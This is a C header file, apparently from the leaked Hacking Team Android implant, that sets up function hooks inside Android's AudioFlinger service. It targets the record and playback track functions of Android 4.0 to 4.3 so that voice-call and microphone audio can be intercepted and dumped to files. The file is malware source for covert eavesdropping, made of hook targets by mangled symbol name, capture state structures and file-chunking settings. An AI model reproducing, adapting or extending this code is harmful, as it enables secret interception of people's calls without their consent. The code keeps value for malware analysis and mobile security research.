hackedteam/core-android-audiocapture

View on GitHub
dbi_release/hijack_func/hooker.h

Summary

Maintainability
Test Coverage
#include <sys/types.h>
#include <sys/time.h>
#include <time.h>
#include "../uthash.h"

#define ROUNDUP(x, y) ((((x)+((y)-1))/(y))*(y))
#define DBG 1

#define FILESIZE 1048576/5 // ~5 seconds

struct hook_t *help_hash1;
struct hook_t *postcall_hash;

extern char *dumpPath;

/* From audio.h Audio stream types */
typedef enum {
    AUDIO_STREAM_DEFAULT          = -1,
    AUDIO_STREAM_VOICE_CALL       = 0,
    AUDIO_STREAM_SYSTEM           = 1,
    AUDIO_STREAM_RING             = 2,
    AUDIO_STREAM_MUSIC            = 3,
    AUDIO_STREAM_ALARM            = 4,
    AUDIO_STREAM_NOTIFICATION     = 5,
    AUDIO_STREAM_BLUETOOTH_SCO    = 6,
    AUDIO_STREAM_ENFORCED_AUDIBLE = 7, /* Sounds that cannot be muted by user and must be routed to speaker */
    AUDIO_STREAM_DTMF             = 8,
    AUDIO_STREAM_TTS              = 9,
    AUDIO_STREAM_CNT,
    AUDIO_STREAM_MAX              = AUDIO_STREAM_CNT - 1,
} audio_stream_type_t;
typedef enum  {
    IDLE,
    TERMINATED,
    FLUSHED,
    STOPPED,
// next 2 states are currently used for fast tracks only
    STOPPING_1,     // waiting for first underrun
    STOPPING_2,     // waiting for presentation complete
    RESUMING,
    ACTIVE,
    PAUSING,
    PAUSED
}track_state;
typedef enum {
  STATUS_NEW   = 0,
  STATUS_STOP  = 1,
  STATUS_START = 2,
} cblk_status; 

struct cblk_t {

  unsigned int cblk_index; // address of cblk struct in memory, used as the key
  unsigned int sampleRate;
  int streamType;
  

  
  // Qi-<timestamp>-<id univoco per chiamata>-<canale>.[tmp|boh]
  // canale=l or r
  //  2-10-10-1-3-1(null) 
  char* trackId; 
  char *filename;
  int fd;

  /* getNextBuffer hook  */
  unsigned int playbackLastBufferStartAddress; // last buffer start address returned for this cblk 

 
  /* getNextBuffer2 hook */
  unsigned int lastBufferRaw;
  unsigned int lastFrameCount;
  unsigned int lastFrameSize;
  
  /* getNextBuffer3 hook */
  unsigned int startOfCircularBuffer;
  unsigned int frameCount;
  
  unsigned long fileOffset; // global offset, needed to recompose the tracks

  int stopDump; // for record
  int pid; //pid of the process generating/receiving audio stream
  // todo: usato per fissare il problema del riutilizzo dei buffer (da verificare)
  cblk_status lastStatus;
  
  UT_hash_handle hh;
  

};


unsigned int base_address;

void* no_proto(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* dump_playbackTrack(struct cblk_t *cblk_tmp);
// 1] function prototype

void* recordTrack_getNextBuffer3_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* playbackTrack_getNextBuffer3_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* playbackTrack_threadLoop_write(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);

void* recordThread_getNextBuffer_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* playbackTimedTrack_getNextBuffer_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;

void* newRecordTrack_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;

/* signaling */
void* recordTrackStart_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* playbackTrackStart_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* playbackTrackPause_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* newTrack_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;

void* recordTrackStop_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;
void* playbackTrackStop_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) ;

// 2] hook

struct hook_t newTrack_helper;


struct hook_t getBuffer_helper;


struct hook_t recordTrack_getNextBuffer_helper;
struct hook_t playbackTrack_getNextBuffer_helper;
struct hook_t playbackTrack_threadLoop_write_helper;

struct hook_t recordThread_getNextBuffer_helper;
struct hook_t playbackTimedTrack_getNextBuffer_helper;

/* signaling */
struct hook_t playbackTrackStart_helper;
struct hook_t playbackTrackStop_helper;
struct hook_t playbackTrackPause_helper;

struct hook_t recordTrackStart_helper;
struct hook_t recordTrackStop_helper;


struct hook_t newRecordTrack_helper;


unsigned long audioFlingerInstance;
unsigned long pbInstance;

// getBuffer globals
unsigned long bufferStart;
unsigned long lastSize;
unsigned long lastOffset;

unsigned long lastFrameSize;
unsigned long lastBufferStart;
unsigned long lastBufferEnd;

// recordTrack_getNextBuffer globals
unsigned long lastBufferStartAddress;
 

// 3] insert the hook

/* Hooks for Android 4.1,4.2 */

/* dumpers */
//android::AudioFlinger::RecordThread::RecordTrack::getNextBuffer(android::AudioBufferProvider::Buffer*, long long)
#define HOOK_coverage_11 help_no_hash(&recordTrack_getNextBuffer_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger12RecordThread11RecordTrack13getNextBufferEPNS_19AudioBufferProvider6BufferEx", recordTrack_getNextBuffer3_h, 1,  0);//0x35275);
//android::AudioFlinger::PlaybackThread::Track::getNextBuffer(android::AudioBufferProvider::Buffer*, long long)
#define HOOK_coverage_12 help_no_hash(&playbackTrack_getNextBuffer_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5Track13getNextBufferEPNS_19AudioBufferProvider6BufferEx", playbackTrack_getNextBuffer3_h, 1, 0);// 0x352d1);
//android::AudioFlinger::PlaybackThread::threadLoop_write()
/* Hooks for Android 4.3 */
#define HOOK_coverage_43_12 help_no_hash(&playbackTrack_threadLoop_write_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread16threadLoop_writeEv", playbackTrack_threadLoop_write, 1,  0);
/* signaling hooks */

// PlaybackThread::Track
// android::AudioFlinger::PlaybackThread::Track::Track(android::AudioFlinger::PlaybackThread*, android::sp<android::AudioFlinger::Client> const&, audio_stream_type_t, unsigned int, audio_format_t, unsigned int, int, android::sp<android::IMemory> const&, int, unsigned int)
#define HOOK_coverage_2 help_no_hash(&newTrack_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5TrackC2EPS1_RKNS_2spINS0_6ClientEEE19audio_stream_type_tj14audio_format_tjiRKNS4_INS_7IMemoryEEEij", newTrack_h, 1,  0);
//android::AudioFlinger::PlaybackThread::Track::Track(android::AudioFlinger::PlaybackThread*, android::sp<android::AudioFlinger::Client> const&, audio_stream_type_t, unsigned int, audio_format_t, unsigned int, unsigned int, android::sp<android::IMemory> const&, int, unsigned int)
#define HOOK_coverage_2_fall help_no_hash(&newTrack_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5TrackC1EPS1_RKNS_2spINS0_6ClientEEE19audio_stream_type_tj14audio_format_tjjRKNS4_INS_7IMemoryEEEij", newTrack_h, 1,  0);

// android::AudioFlinger::PlaybackThread::Track::start(android::AudioSystem::sync_event_t, int)
#define HOOK_coverage_17 help_no_hash(&playbackTrackStart_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5Track5startENS_11AudioSystem12sync_event_tEi", playbackTrackStart_h, 1, 0);

//android::AudioFlinger::PlaybackThread::Track::stop()
#define HOOK_coverage_19 help_no_hash(&playbackTrackStop_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5Track4stopEv", playbackTrackStop_h, 1, 0);
//android::AudioFlinger::PlaybackThread::Track::pause()
#define HOOK_coverage_20 help_no_hash(&playbackTrackPause_helper,  pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5Track5pauseEv", playbackTrackPause_h, 1,  0);

// RecordThread::RecordTrack
//android::AudioFlinger::RecordThread::RecordTrack::start(android::AudioSystem::sync_event_t, int)
#define HOOK_coverage_16 help_no_hash(&recordTrackStart_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger12RecordThread11RecordTrack5startENS_11AudioSystem12sync_event_tEi", recordTrackStart_h, 1, 0);
//android::AudioFlinger::RecordThread::RecordTrack::stop()
#define HOOK_coverage_18 help_no_hash(&recordTrackStop_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger12RecordThread11RecordTrack4stopEv", recordTrackStop_h, 1, 0);


/* Hooks for android 4.0 
 * 
 * hooks 18, 19, 20, are ok */

/* dumpers 4.0 */
//android::AudioFlinger::RecordThread::RecordTrack::getNextBuffer(android::AudioBufferProvider::Buffer*)
#define HOOK_coverage_40_11 help_no_hash(&recordTrack_getNextBuffer_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger12RecordThread11RecordTrack13getNextBufferEPNS_19AudioBufferProvider6BufferE", recordTrack_getNextBuffer3_h, 1,  0);
//android::AudioFlinger::PlaybackThread::Track::getNextBuffer(android::AudioBufferProvider::Buffer*)
#define HOOK_coverage_40_12 help_no_hash(&playbackTrack_getNextBuffer_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5Track13getNextBufferEPNS_19AudioBufferProvider6BufferE", playbackTrack_getNextBuffer3_h, 1, 0);


/* signaling 4.0 */

// PlaybackThread::Track
///device/include/server/AudioFlinger/AudioFlinger.cpp
//android::AudioFlinger::PlaybackThread::Track::Track(android::wp<android::AudioFlinger::ThreadBase> const&, android::sp<android::AudioFlinger::Client> const&, int, unsigned int, unsigned int, unsigned int, int, android::sp<android::IMemory> const&, int)
#define HOOK_coverage_40_2 help_no_hash(&newTrack_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5TrackC2ERKNS_2wpINS0_10ThreadBaseEEERKNS_2spINS0_6ClientEEEijjjiRKNS8_INS_7IMemoryEEEi", newTrack_h, 1,  0);
//android::AudioFlinger::PlaybackThread::Track::start()
#define HOOK_coverage_40_17 help_no_hash(&playbackTrackStart_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger14PlaybackThread5Track5startEv", playbackTrackStart_h, 1, 0);

// RecordThread::RecordTrack
//android::AudioFlinger::RecordThread::RecordTrack::start()
#define HOOK_coverage_40_16 help_no_hash(&recordTrackStart_helper, pid, "libaudioflinger", "_ZN7android12AudioFlinger12RecordThread11RecordTrack5startEv", recordTrackStart_h, 1, 0);